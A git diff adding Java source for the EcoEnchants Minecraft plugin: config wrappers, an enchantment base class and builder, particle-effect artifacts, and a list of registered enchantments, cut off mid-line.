/dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/config/configs/Config.java @@ -0,0 +1,60 @@ +package com.willfp.ecoenchants.config.configs; + +import com.willfp.ecoenchants.config.YamlConfig; +import org.bukkit.inventory.ItemStack; + +import java.util.List; +import java.util.Set; + +/** + * Wrapper for config.yml + */ +public class Config extends YamlConfig { + public Config() { + super("config"); + } + + public int getInt(String path) { + return config.getInt(path); + } + + public int getInt(String path, int def) { + return config.getInt(path, def); + } + + public List getInts(String path) { + return config.getIntegerList(path); + } + + public boolean getBool(String path) { + return config.getBoolean(path); + } + + public List getBools(String path) { + return config.getBooleanList(path); + } + + public String getString(String path) { + return config.getString(path); + } + + public List getStrings(String path) { + return config.getStringList(path); + } + + public double getDouble(String path) { + return config.getDouble(path); + } + + public List getDoubles(String path) { + return config.getDoubleList(path); + } + + public ItemStack getItemStack(String path) { + return config.getItemStack(path); + } + + public Set getRarities() { + return config.getConfigurationSection("obtaining.rarities").getKeys(false); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/config/configs/EnchantmentConfig.java b/Plugin/src/main/java/com/willfp/ecoenchants/config/configs/EnchantmentConfig.java new file mode 100644 index 00000000..5f8e1826 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/config/configs/EnchantmentConfig.java @@ -0,0 +1,99 @@ +package com.willfp.ecoenchants.config.configs; + +import com.willfp.ecoenchants.config.EnchantmentYamlConfig; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EnchantmentRarity; +import org.bukkit.Material; +import org.bukkit.NamespacedKey; +import org.bukkit.enchantments.Enchantment; +import org.bukkit.inventory.ItemStack; + +import java.util.HashSet; +import java.util.List; +import java.util.Set; + +/** + * Wrapper for enchantment-specific configs + */ +public class EnchantmentConfig extends EnchantmentYamlConfig { + private final String name; + public static String userId = "%%__USER__%%"; + + public EnchantmentConfig(String name, double version, Class plugin, EcoEnchant.EnchantmentType type) { + super(name, version, plugin, type); + this.name = name; + } + + public String getName() { + return name; + } + + public int getInt(String path) { + return config.getInt(path); + } + + public int getInt(String path, int def) { + return config.getInt(path, def); + } + + public List getInts(String path) { + return config.getIntegerList(path); + } + + public boolean getBool(String path) { + return config.getBoolean(path); + } + + public boolean getBool(String path, boolean def) { + return config.getBoolean(path, def); + } + + public List getBools(String path) { + return config.getBooleanList(path); + } + + public String getString(String path) { + return config.getString(path); + } + + public List getStrings(String path) { + return config.getStringList(path); + } + + public double getDouble(String path) { + return config.getDouble(path); + } + + public List getDoubles(String path) { + return config.getDoubleList(path); + } + + public ItemStack getItemStack(String path) { + return config.getItemStack(path); + } + + public Set getEnchantments(String path) { + Set enchantments = new HashSet<>(); + List enchantmentKeys = config.getStringList(path); + enchantmentKeys.forEach((key -> enchantments.add(Enchantment.getByKey(NamespacedKey.minecraft(key))))); + return enchantments; + } + + public EnchantmentRarity getRarity() { + String rarityName = this.getString("obtaining.rarity"); + return EnchantmentRarity.getByName(rarityName); + } + + public Set getTarget(Set initialTarget) { + List targetName = config.getStringList("general-config.target"); + if(targetName == null || targetName.isEmpty()) return initialTarget; + + Set targets = new HashSet<>(); + targetName.forEach((s -> { + Material mat = Material.getMaterial(s.toUpperCase()); + targets.add(mat); + })); + + return targets; + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/config/configs/Lang.java b/Plugin/src/main/java/com/willfp/ecoenchants/config/configs/Lang.java new file mode 100644 index 00000000..64714e5a --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/config/configs/Lang.java @@ -0,0 +1,36 @@ +package com.willfp.ecoenchants.config.configs; + +import com.willfp.ecoenchants.config.YamlConfig; +import org.bukkit.ChatColor; + +import java.util.List; + +/** + * Wrapper for lang.yml + */ +public class Lang extends YamlConfig { + public Lang() { + super("lang"); + } + + public String getString(String path) { + return config.getString(path); + } + + public List getStrings(String path) { + return config.getStringList(path); + } + + + public String getPrefix() { + return ChatColor.translateAlternateColorCodes('&', config.getString("messages.prefix")); + } + + public String getNoPermission() { + return getPrefix() + ChatColor.translateAlternateColorCodes('&', config.getString("messages.no-permission")); + } + + public String getMessage(String message) { + return getPrefix() + ChatColor.translateAlternateColorCodes('&', config.getString("messages." + message)); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/Artifact.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/Artifact.java new file mode 100644 index 00000000..3c34172a --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/Artifact.java @@ -0,0 +1,144 @@ +package com.willfp.ecoenchants.enchantments; + +import com.google.common.util.concurrent.AtomicDouble; +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.nms.TridentStack; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.Location; +import org.bukkit.Particle; +import org.bukkit.block.Block; +import org.bukkit.entity.AbstractArrow; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.entity.Trident; +import org.bukkit.event.EventHandler; +import org.bukkit.event.block.BlockBreakEvent; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.event.entity.ProjectileLaunchEvent; +import org.bukkit.event.player.PlayerMoveEvent; +import org.bukkit.inventory.ItemStack; +import org.bukkit.scheduler.BukkitRunnable; +import org.bukkit.util.Vector; + +/** + * Wrapper for Artifact enchantments + * in order to reduce copying existing code between artifacts. + */ +public abstract class Artifact extends EcoEnchant { + private final Particle particle; + private final Particle.DustOptions extra; + + public Artifact(String key, double version, Particle particle) { + super(new EcoEnchantBuilder(key, EnchantmentType.ARTIFACT, new Target.Applicable[]{Target.Applicable.ELYTRA, Target.Applicable.SWORD, Target.Applicable.AXE, Target.Applicable.PICKAXE}, version)); + this.particle = particle; + extra = null; + } + + public Artifact(String key, double version, Particle particle, Particle.DustOptions extra) { + super(new EcoEnchantBuilder(key, EnchantmentType.ARTIFACT, new Target.Applicable[]{Target.Applicable.ELYTRA, Target.Applicable.SWORD, Target.Applicable.AXE, Target.Applicable.PICKAXE}, version)); + this.particle = particle; + this.extra = extra; + } + + @EventHandler + public void onBreak(BlockBreakEvent event) { + Player player = event.getPlayer(); + Block block = event.getBlock(); + + if(!this.getConfig().getStrings(EcoEnchants.CONFIG_LOCATION + "on-blocks").contains(block.getType().name().toLowerCase())) return; + + if (!HasEnchant.playerHeld(player, this)) return; + + int amount = this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "amount"); + block.getWorld().spawnParticle(particle, block.getLocation().add(0.5, 0.5, 0.5), amount, 0.4, 0.4, 0.4, 0, extra, false); + } + + @EventHandler + public void onElytra(PlayerMoveEvent event) { + Player player = event.getPlayer(); + + if(!player.isGliding()) return; + + if (!HasEnchant.playerElytra(player, this)) return; + + Location location = player.getLocation(); + Vector direction = player.getLocation().clone().getDirection(); + + Vector point1 = player.getLocation().getDirection().clone(); + point1.rotateAroundY(Math.toRadians(90)); + point1.multiply(1.2); + Location location1 = player.getLocation().clone().add(point1); + + Vector point2 = player.getLocation().getDirection().clone(); + point2.rotateAroundY(Math.toRadians(-90)); + point2.multiply(1.2); + Location location2 = player.getLocation().clone().add(point2); + + player.getWorld().spawnParticle(particle, location1, 1, 0, 0, 0, 0, extra, true); + player.getWorld().spawnParticle(particle, location2, 1, 0, 0, 0, 0, extra, true); + } + + @EventHandler + public void onHit(EntityDamageByEntityEvent event) { + if(!(event.getDamager() instanceof Player)) return; + if(!(event.getEntity() instanceof LivingEntity)) return; + + Player player = (Player) event.getDamager(); + LivingEntity entity = (LivingEntity) event.getEntity(); + + if (!HasEnchant.playerHeld(player, this)) return; + + double radius = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "radius"); + + AtomicDouble yAtomic = new AtomicDouble(0); + + double yDelta = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "y-delta"); + double radiusMultiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "radius-multiplier"); + double offset = Rand.randFloat(0, 0.75); + + new BukkitRunnable() { + @Override + public void run() { + for(int i = 0; i<3; i++) { + if (yAtomic.get() > entity.getHeight()) this.cancel(); + yAtomic.addAndGet(yDelta); + double y = yAtomic.get(); + double x = radius * Math.cos((y + offset) * radiusMultiplier); + double z = radius * Math.sin((y + offset) * radiusMultiplier); + Location particleLocation = entity.getLocation(); + particleLocation.add(x, y, z); + entity.getWorld().spawnParticle(particle, particleLocation, 1, 0, 0, 0, 0, extra, false); + } + } + }.runTaskTimer(Main.getInstance(), 0, 1); + } + + @EventHandler + public void onShoot(ProjectileLaunchEvent event) { + if (!(event.getEntity() instanceof AbstractArrow)) + return; + + if(!(event.getEntity().getShooter() instanceof Player)) return; + Player player = (Player) event.getEntity().getShooter(); + + AbstractArrow entity = (AbstractArrow) event.getEntity(); + ItemStack item = player.getInventory().getItemInMainHand(); + if(entity instanceof Trident) { + item = TridentStack.getTridentStack((Trident) entity); + } + + if (!HasEnchant.item(item, this)) return; + + int ticks = this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "particle-tick-delay"); + + new BukkitRunnable() { + @Override + public void run() { + if(entity.isOnGround() || entity.isInBlock() || entity.isDead()) this.cancel(); + entity.getLocation().getWorld().spawnParticle(particle, entity.getLocation(), 1, 0, 0, 0, 0, extra, true); + } + }.runTaskTimer(Main.getInstance(), 4, ticks); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/EcoEnchant.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/EcoEnchant.java new file mode 100644 index 00000000..d6119207 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/EcoEnchant.java @@ -0,0 +1,321 @@ +package com.willfp.ecoenchants.enchantments; + +import com.willfp.ecoenchants.config.ConfigManager; +import com.willfp.ecoenchants.config.configs.EnchantmentConfig; +import com.willfp.ecoenchants.nms.Target; +import org.apache.commons.lang.WordUtils; +import org.bukkit.Material; +import org.bukkit.NamespacedKey; +import org.bukkit.enchantments.Enchantment; +import org.bukkit.enchantments.EnchantmentTarget; +import org.bukkit.event.Listener; +import org.bukkit.inventory.ItemStack; + +import java.lang.reflect.Field; +import java.util.*; + +public abstract class EcoEnchant extends Enchantment implements Listener { + private String name; + private String description; + private Set target; + private final String permissionName; + private final EnchantmentType type; + + private final double configVersion; + private final EnchantmentConfig config; + + private boolean grindstoneable; + private boolean canGetFromTable; + private boolean canGetFromVillager; + private boolean canGetFromLoot; + private int maxLvl; + private Set conflicts; + private EnchantmentRarity rarity; + + private boolean disabled; + + /** + * Create new EcoEnchant matching builder + * + * @param builder The {@link EcoEnchantBuilder} for enchantment + */ + protected EcoEnchant(EcoEnchantBuilder builder) { + super(NamespacedKey.minecraft(builder.key)); + + this.type = builder.type; + this.name = builder.name; + this.target = builder.target; + this.permissionName = builder.permission; + this.configVersion = builder.configVersion; + this.config = builder.config; + + this.update(); + this.add(); + } + + /** + * Update the enchantment based off config values + */ + public void update() { + rarity = config.getRarity(); + conflicts = config.getEnchantments(EcoEnchants.GENERAL_LOCATION + "conflicts"); + grindstoneable = config.getBool(EcoEnchants.GENERAL_LOCATION + "grindstoneable"); + canGetFromTable = config.getBool(EcoEnchants.OBTAINING_LOCATION + "table"); + canGetFromVillager = config.getBool(EcoEnchants.OBTAINING_LOCATION + "villager"); + canGetFromLoot = config.getBool(EcoEnchants.OBTAINING_LOCATION + "loot"); + maxLvl = config.getInt(EcoEnchants.GENERAL_LOCATION + "maximum-level", 1); + name = config.getString("name"); + description = config.getString("description"); + target = config.getTarget(target); + disabled = config.getBool("disabled", false); + + this.register(); + } + + private void register() { + try { + Field byIdField = Enchantment.class.getDeclaredField("byKey"); + Field byNameField = Enchantment.class.getDeclaredField("byName"); + byIdField.setAccessible(true); + byNameField.setAccessible(true); + Map byKey = (Map) byIdField.get(null); + Map byName = (Map) byNameField.get(null); + byKey.remove(this.getKey()); + byName.remove(this.getName()); + + Map byNameClone = new HashMap<>(byName); + for (Map.Entry entry : byNameClone.entrySet()) { + if (entry.getValue().getKey().equals(this.getKey())) { + byName.remove(entry.getKey()); + } + } + + Field f = Enchantment.class.getDeclaredField("acceptingNew"); + f.setAccessible(true); + f.set(null, true); + f.setAccessible(false); + + Enchantment.registerEnchantment(this); + } catch (NoSuchFieldException | IllegalAccessException ignored) {} + } + + private void add() { + EcoEnchants.addNewEcoEnchant(this); + } + + private void remove() { + EcoEnchants.removeEcoEnchant(this); + } + + /** + * Get if enchantment can be removed in grindstone + * @return Whether the enchantment can be removed + */ + public boolean isGrindstoneable() { + return grindstoneable; + } + + /** + * Get {@link EnchantmentType} of enchantment + * @return The {@link EnchantmentType} + */ + public EnchantmentType getType() { return this.type; } + + /** + * Get a set of all conflicts + * @return Conflicts + */ + public Set getConflicts() { + return this.conflicts; + } + + /** + * Get if enchantment is disabled + * @return If disabled + */ + public boolean isDisabled() { + return this.disabled; + } + + /** + * Get permission name of enchantment + * @return The permission name + */ + public String getPermissionName() { + return permissionName; + } + + /** + * Get description of enchantment + * @return The description + */ + public List getDescription() { + return Arrays.asList(WordUtils.wrap(description, ConfigManager.getConfig().getInt("lore.describe.wrap"), "\n", false).split("\\r?\\n")); + } + + /** + * Get if enchantment can be obtained from an enchanting table + * @return If can be obtained + */ + public boolean canGetFromTable() { + return canGetFromTable; + } + + /** + * Get if enchantment can be obtained from a villager + * @return If can be obtained + */ + public boolean canGetFromVillager() { + return canGetFromVillager; + } + + /** + * Get if enchantment can be obtained from chest loot + * @return If can be obtained + */ + public boolean canGetFromLoot() { + return canGetFromLoot; + } + + /** + * Get {@link EnchantmentRarity} of enchantment + * @return The enchantment rarity + */ + public EnchantmentRarity getRarity() { + return rarity; + } + + /** + * If enchantment conflicts with any enchantment in set + * @param enchantments The set to test against + * @return If there are any conflicts + */ + public boolean conflictsWithAny(Set enchantments) { + return conflicts.stream().anyMatch(enchantments::contains); + } + + /** + * Get enchantment cast to {@link Enchantment} + * @return The enchantment + */ + public Enchantment getEnchantment() { + return this; + } + + /** + * Get the {@link Target} of enchantment + * @return Set of enchantable items + */ + public Set getTarget() { + return target; + } + + /** + * Get latest config version + * @return The latest version + */ + public double getConfigVersion() { + return configVersion; + } + + /** + * Get {@link EnchantmentConfig} of enchantment + * @return The config + */ + public EnchantmentConfig getConfig() { + return config; + } + + /** + * Get display name of enchantment. + * Not deprecated, unlike {@link Enchantment#getName()} + * + * @return The display name + */ + @Override + public String getName() { + return name; + } + + /** + * Get max level of enchantment + * @return The max level + */ + @Override + public int getMaxLevel() { + return maxLvl; + } + + /** + * @return 1 + */ + @Override + public int getStartLevel() { + return 1; + } + + /** + * Do not use this method. + * Only here for compatibility with {@link Enchantment} + * + * @return Returns {@link EnchantmentTarget#ALL}. Do not use. + * + * @deprecated {@link EnchantmentTarget} is not supported due to its lack of flexibility. Use {@link EcoEnchant#getTarget()} instead. + */ + @Override + @Deprecated + public EnchantmentTarget getItemTarget() { + return EnchantmentTarget.ALL; + } + + /** + * @return false + * @deprecated Treasure enchantments do not exist. Use {@link EcoEnchant#getType()} instead. + */ + @Override + @Deprecated + public boolean isTreasure() { + return false; + } + + /** + * @return Returns if enchantment is cursed. + * + * @deprecated Use {@link EcoEnchant#getType()} instead. + */ + @Override + @Deprecated + public boolean isCursed() { + return this.type.equals(EnchantmentType.CURSE); + } + + /** + * Get if enchantment conflicts with specified enchantment + * @param enchantment The enchantment to test against + * @return If conflicts + */ + @Override + public boolean conflictsWith(Enchantment enchantment) { + return conflicts.contains(enchantment); + } + + /** + * If enchantment can be applied to item + * @param itemStack The {@link ItemStack} to test against + * @return If can be applied + */ + @Override + public boolean canEnchantItem(ItemStack itemStack) { + return target.contains(itemStack.getType()) || Target.Applicable.BOOK.getMaterials().contains(itemStack.getType()); + } + + /** + * The types of {@link EcoEnchant} + */ + public enum EnchantmentType { + NORMAL, + CURSE, + SPECIAL, + ARTIFACT + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/EcoEnchantBuilder.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/EcoEnchantBuilder.java new file mode 100644 index 00000000..70e3a524 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/EcoEnchantBuilder.java @@ -0,0 +1,129 @@ +package com.willfp.ecoenchants.enchantments; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.config.ConfigManager; +import com.willfp.ecoenchants.config.configs.EnchantmentConfig; +import com.willfp.ecoenchants.nms.Target; +import org.bukkit.Material; + +import java.util.Arrays; +import java.util.HashSet; +import java.util.Set; +import java.util.regex.Pattern; + +public class EcoEnchantBuilder { + public final String name; + public final String key; + public final String permission; + public final Set target; + public double configVersion; + public final EnchantmentConfig config; + public Class plugin; + public final EcoEnchant.EnchantmentType type; + + /** + * Creates new EcoEnchantBuilder + * Only used by base enchantments, do not use for extensions. + * + * @param key The enchantment key name + * @param type The enchantment type + * @param applicable The materials that the enchantment can be applied to + * @param version The config version + */ + public EcoEnchantBuilder(String key, EcoEnchant.EnchantmentType type, Target.Applicable applicable, double version) { + this(key, type, new Target.Applicable[]{applicable}, version); + } + + /** + * Creates new EcoEnchantBuilder + * Use for extensions + * + * @param key The enchantment key name + * @param type The enchantment type + * @param applicable The materials that the enchantment can be applied to + * @param version The config version + * @param plugin The main class of extension + */ + public EcoEnchantBuilder(String key, EcoEnchant.EnchantmentType type, Target.Applicable applicable, double version, Class plugin) { + this(key, type, new Target.Applicable[]{applicable}, version, plugin); + } + + /** + * Creates new EcoEnchantBuilder + * Only used by base enchantments, do not use for extensions. + * + * @param key The enchantment key name + * @param type The enchantment type + * @param applicable The materials that the enchantment can be applied to + * @param version The config version + */ + public EcoEnchantBuilder(String key, EcoEnchant.EnchantmentType type, Target.Applicable[] applicable, double version) { + this(key, type, applicable, version, Main.class); + } + + /** + * Creates new EcoEnchantBuilder for Extension + * Use for extensions + * + * @param key The enchantment key name + * @param type The enchantment type + * @param applicable The materials that the enchantment can be applied to + * @param version The config version + * @param plugin The main class of extension + */ + public EcoEnchantBuilder(String key, EcoEnchant.EnchantmentType type, Target.Applicable[] applicable, double version, Class plugin) { + if(Pattern.matches("[a-z_]", key)) throw new InvalidEnchantmentException("Key must only contain lowercase letters and underscores"); + this.key = key; + this.permission = key.replace("_",""); + + Set target = new HashSet<>(); + Arrays.asList(applicable).forEach((applicable1 -> { + target.addAll(applicable1.getMaterials()); + })); + + this.target = target; + + this.type = type; + + this.plugin = plugin; + + this.configVersion = version; + + ConfigManager.addEnchantmentConfig(new EnchantmentConfig(permission, configVersion, plugin, this.type)); + this.config = ConfigManager.getEnchantmentConfig(permission); + + this.name = config.getString("name"); + } + + /** + * Creates new EcoEnchantBuilder for Extension + * Use for extensions + * + * @param key The enchantment key name + * @param type The enchantment type + * @param target The materials that the enchantment can be applied to + * @param version The config version + * @param plugin The main class of extension + * + * @deprecated Use {@link Target.Applicable} instead + */ + @Deprecated + public EcoEnchantBuilder(String key, EcoEnchant.EnchantmentType type, Set target, double version, Class plugin) { + if(Pattern.matches("[a-z_]", key)) throw new InvalidEnchantmentException("Key must only contain lowercase letters and underscores"); + this.key = key; + this.permission = key.replace("_",""); + + this.target = target; + + this.type = type; + + this.plugin = plugin; + + this.configVersion = version; + + ConfigManager.addEnchantmentConfig(new EnchantmentConfig(permission, configVersion, plugin, this.type)); + this.config = ConfigManager.getEnchantmentConfig(permission); + + this.name = config.getString("name"); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/EcoEnchants.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/EcoEnchants.java new file mode 100644 index 00000000..0b05e83e --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/EcoEnchants.java @@ -0,0 +1,299 @@ +package com.willfp.ecoenchants.enchantments; + +import com.willfp.ecoenchants.enchantments.ecoenchants.artifact.*; +import com.willfp.ecoenchants.enchantments.ecoenchants.curse.*; +import com.willfp.ecoenchants.enchantments.ecoenchants.normal.*; +import com.willfp.ecoenchants.enchantments.ecoenchants.special.*; +import org.bukkit.NamespacedKey; +import org.bukkit.enchantments.Enchantment; +import org.bukkit.inventory.ItemStack; +import org.bukkit.inventory.meta.EnchantmentStorageMeta; + +import java.util.HashSet; +import java.util.Optional; +import java.util.Set; +import java.util.concurrent.atomic.AtomicBoolean; + +/** + * Contains general methods for EcoEnchants + */ +@SuppressWarnings("unchecked") +public class EcoEnchants { + public static final String CONFIG_LOCATION = "config."; + public static final String OBTAINING_LOCATION = "obtaining."; + public static final String GENERAL_LOCATION = "general-config."; + + private static final Set ecoEnchants = new HashSet<>(); + + public static final EcoEnchant TELEKINESIS = new Telekinesis(); + public static final EcoEnchant MARKSMAN = new Marksman(); + public static final EcoEnchant INFERNAL_TOUCH = new InfernalTouch(); + public static final EcoEnchant SPRING = new Spring(); + public static final EcoEnchant STRAY_ASPECT = new StrayAspect(); + public static final EcoEnchant ILLUSION_ASPECT = new IllusionAspect(); + public static final EcoEnchant SLICING = new Slicing(); + public static final EcoEnchant DEXTEROUS = new Dexterous(); + public static final EcoEnchant BEHEADING = new Beheading(); + public static final EcoEnchant NECROTIC = new Necrotic(); + public static final EcoEnchant MAGMA_WALKER = new MagmaWalker(); + public static final EcoEnchant TECTONIC = new Tectonic(); + public static final EcoEnchant EVASION = new Evasion(); + public static final EcoEnchant SUCCESSION = new Succession(); + public static final EcoEnchant FARMHAND = new Farmhand(); + public static final EcoEnchant WISDOM = new Wisdom(); + public static final EcoEnchant LEECHING = new Leeching(); + public static final EcoEnchant VAMPIRE_ASPECT = new VampireAspect(); + public static final EcoEnchant INSTABILITY = new Instability(); + public static final EcoEnchant THRIVE = new Thrive(); + public static final EcoEnchant DRILL = new Drill(); + public static final EcoEnchant THOR = new Thor(); + public static final EcoEnchant STREAMLINING = new Streamlining(); + public static final EcoEnchant FIRST_STRIKE = new FirstStrike(); + public static final EcoEnchant FINISHING = new Finishing(); + public static final EcoEnchant CRITICALS = new Criticals(); + public static final EcoEnchant INCANDESCENCE = new Incandescence(); + public static final EcoEnchant SUPERCRITICAL = new Supercritical(); + public static final EcoEnchant ABRASION = new Abrasion(); + public static final EcoEnchant SPLASH = new Splash(); + public static final EcoEnchant EXTINGUISHING = new Extinguishing(); + public static final EcoEnchant GOLIATH = new Goliath(); + public static final EcoEnchant OPTICS = new Optics(); + public static final EcoEnchant DEFUSION = new Defusion(); + public static final EcoEnchant CEREBRAL = new Cerebral(); + public static final EcoEnchant GRIT = new Grit(); + public static final EcoEnchant BOSS_HUNTER = new BossHunter(); + public static final EcoEnchant INVIGORATION = new Invigoration(); + public static final EcoEnchant REJUVENATION = new Rejuvenation(); + public static final EcoEnchant FRAGILITY_CURSE = new FragilityCurse(); + public static final EcoEnchant TRIPLESHOT = new Tripleshot(); + public static final EcoEnchant RAPID = new Rapid(); + public static final EcoEnchant SATING = new Sating(); + public static final EcoEnchant REINFORCEMENT = new Reinforcement(); + public static final EcoEnchant SOULBOUND = new Soulbound(); + public static final EcoEnchant RAZOR = new Razor(); + public static final EcoEnchant PROSPERITY = new Prosperity(); + public static final EcoEnchant PRESERVATION = new Preservation(); + public static final EcoEnchant FRENZY = new Frenzy(); + public static final EcoEnchant BUTCHERING = new Butchering(); + public static final EcoEnchant PROXIMITY = new Proximity(); + public static final EcoEnchant ENDER_SLAYER = new EnderSlayer(); + public static final EcoEnchant PROTECTOR = new Protector(); + public static final EcoEnchant INDESTRUCTIBILITY = new Indestructibility(); + public static final EcoEnchant ENERGIZING = new Energizing(); + public static final EcoEnchant INTELLECT = new Intellect(); + public static final EcoEnchant DEFLECTION = new Deflection(); + public static final EcoEnchant LAUNCH = new Launch(); + public static final EcoEnchant PERMANENCE_CURSE = new PermanenceCurse(); + public static final EcoEnchant SPEARFISHING = new Spearfishing(); + public static final EcoEnchant NETHER_INFUSION = new NetherInfusion(); + public static final EcoEnchant REPLENISH = new Replenish(); + public static final EcoEnchant FLINCH = new Flinch(); + public static final EcoEnchant ELECTROSHOCK = new Electroshock(); + public static final EcoEnchant NOCTURNAL = new Nocturnal(); + public static final EcoEnchant CONFUSION = new Confusion(); + public static final EcoEnchant ARCANIC = new Arcanic(); + public static final EcoEnchant PENTASHOT = new Pentashot(); + public static final EcoEnchant LUMBERJACK = new Lumberjack(); + public static final EcoEnchant STONE_SWITCHER = new StoneSwitcher(); + public static final EcoEnchant MAGNETIC = new Magnetic(); + public static final EcoEnchant REPAIRING = new Repairing(); + public static final EcoEnchant CALLING_CURSE = new CallingCurse(); + public static final EcoEnchant BLAST_MINING = new BlastMining(); + public static final EcoEnchant LIQUID_SHOT = new LiquidShot(); + public static final EcoEnchant GRAPPLE = new Grapple(); + public static final EcoEnchant HEART_ARTIFACT = new HeartArtifact(); + public static final EcoEnchant SPARKLE_ARTIFACT = new SparkleArtifact(); + public static final EcoEnchant LAVA_ARTIFACT = new LavaArtifact(); + public static final EcoEnchant DRAGON_ARTIFACT = new DragonArtifact(); + public static final EcoEnchant ENCHANTMENT_ARTIFACT = new EnchantmentArtifact(); + public static final EcoEnchant SMOKE_ARTIFACT = new SmokeArtifact(); + public static final EcoEnchant FIRE_ARTIFACT = new FireArtifact(); + public static final EcoEnchant EMERALD_ARTIFACT = new EmeraldArtifact(); + public static final EcoEnchant NETHER_ARTIFACT = new NetherArtifact(); + public static final EcoEnchant END_ARTIFACT = new EndArtifact(); + public static final EcoEnchant WATER_ARTIFACT = new WaterArtifact(); + public static final EcoEnchant TOTEM_ARTIFACT = new TotemArtifact(); + public static final EcoEnchant REDSTONE_ARTIFACT = new RedstoneArtifact(); + public static final EcoEnchant ZAP_ARTIFACT = new ZapArtifact(); + public static final EcoEnchant MUSIC_ARTIFACT = new MusicArtifact(); + public static final EcoEnchant SNOW_ARTIFACT = new SnowArtifact(); + public static final EcoEnchant WITCH_ARTIFACT = new WitchArtifact(); + public static final EcoEnchant HONEY_ARTIFACT = new HoneyArtifact(); + public static final EcoEnchant DAMAGE_ARTIFACT = new DamageArtifact(); + public static final EcoEnchant CLOUDS_ARTIFACT = new CloudsArtifact(); + public static final EcoEnchant MAGIC_ARTIFACT = new MagicArtifact(); + public static final EcoEnchant DUST_ARTIFACT = new DustArtifact(); + public static final EcoEnchant MAGMA_ARTIFACT = new MagmaArtifact(); + public static final EcoEnchant INK_ARTIFACT = new InkArtifact(); + public static final EcoEnchant ZEUS = new Zeus(); + public static final EcoEnchant KINETIC = new Kinetic(); + public static final EcoEnchant FIRE_AFFINITY = new FireAffinity(); + public static final EcoEnchant PARASITIC = new Parasitic(); + public static final EcoEnchant PARRY = new Parry(); + public static final EcoEnchant AIMING = new Aiming(); + public static final EcoEnchant HOOK = new Hook(); + public static final EcoEnchant BLEED = new Bleed(); + public static final EcoEnchant WEAKENING = new Weakening(); + public static final EcoEnchant OXYGENATE = new Oxygenate(); + public static final EcoEnchant WATER_ASPECT = new WaterAspect(); + public static final EcoEnchant STAMINA = new Stamina(); + public static final EcoEnchant COLLATERAL = new Collateral(); + public static final EcoEnchant HUNGER_CURSE = new HungerCurse(); + public static final EcoEnchant PALADIN = new Paladin(); + public static final EcoEnchant SERRATED = new Serrated(); + public static final EcoEnchant BLADED = new Bladed(); + public static final EcoEnchant INFERNO = new Inferno(); + public static final EcoEnchant STAB = new Stab(); + public static final EcoEnchant TORNADO = new Tornado(); + public static final EcoEnchant EXTRACT = new Extract(); + public static final EcoEnchant AERIAL = new Aerial(); + public static final EcoEnchant FAMINE = new Famine(); + public static final EcoEnchant ANNIHILATE = new Annihilate(); + public static final EcoEnchant RADIANCE = new Radiance(); + public static final EcoEnchant HORDE = new Horde(); + public static final EcoEnchant VEIN = new Vein(); + public static final EcoEnchant ICE_SHOT = new IceShot(); + public static final EcoEnchant PUNCTURE = new Puncture(); + public static final EcoEnchant SHOCKWAVE = new Shockwave(); + public static final EcoEnchant VOLATILE = new Volatile(); + public static final EcoEnchant INSTANTANEOUS = new Instantaneous(); + public static final EcoEnchant FREERUNNER = new Freerunner(); + public static final EcoEnchant BOLT = new Bolt(); + public static final EcoEnchant DULLNESS = new Dullness(); + public static final EcoEnchant IGNITE = new Ignite(); + public static final EcoEnchant CLEAVE = new Cleave(); + public static final EcoEnchant CARVE = new Carve(); + public static final EcoEnchant TOXIC = new Toxic(); + public static final EcoEnchant WATER_AFFINITY = new WaterAffinity(); + public static final EcoEnchant FORCEFIELD = new Forcefield(); + public static final EcoEnchant SYCOPHANT = new Sycophant(); + public static final EcoEnchant CHOPLESS = new Chopless(); + public static final EcoEnchant GREEN_THUMB = new GreenThumb(); + public static final EcoEnchant SPIKED = new Spiked(); + public static final EcoEnchant HARPOON = new Harpoon(); + public static final EcoEnchant REEL = new Reel(); + public static final EcoEnchant SHOT_ASSIST = new ShotAssist(); + public static final EcoEnchant FROZEN = new Frozen(); + public static final EcoEnchant DISAPPEAR = new Disappear(); + public static final EcoEnchant HARMLESSNESS_CURSE = new HarmlessnessCurse(); + public static final EcoEnchant FURY = new Fury(); + public static final EcoEnchant LEVITATE = new Levitate(); + public static final EcoEnchant BREAKLESSNESS_CURSE = new BreaklessnessCurse(); + public static final EcoEnchant DECAY_CURSE = new DecayCurse(); + public static final EcoEnchant MISFORTUNE_CURSE = new MisfortuneCurse(); + public static final EcoEnchant VENOM = new Venom(); + public static final EcoEnchant CRANIAL = new Cranial(); + public static final EcoEnchant AQUATIC = new Aquatic(); + public static final EcoEnchant BUCKSHOT = new Buckshot(); + public static final EcoEnchant DIVERSE = new Diverse(); + public static final EcoEnchant LIFE_STEAL = new 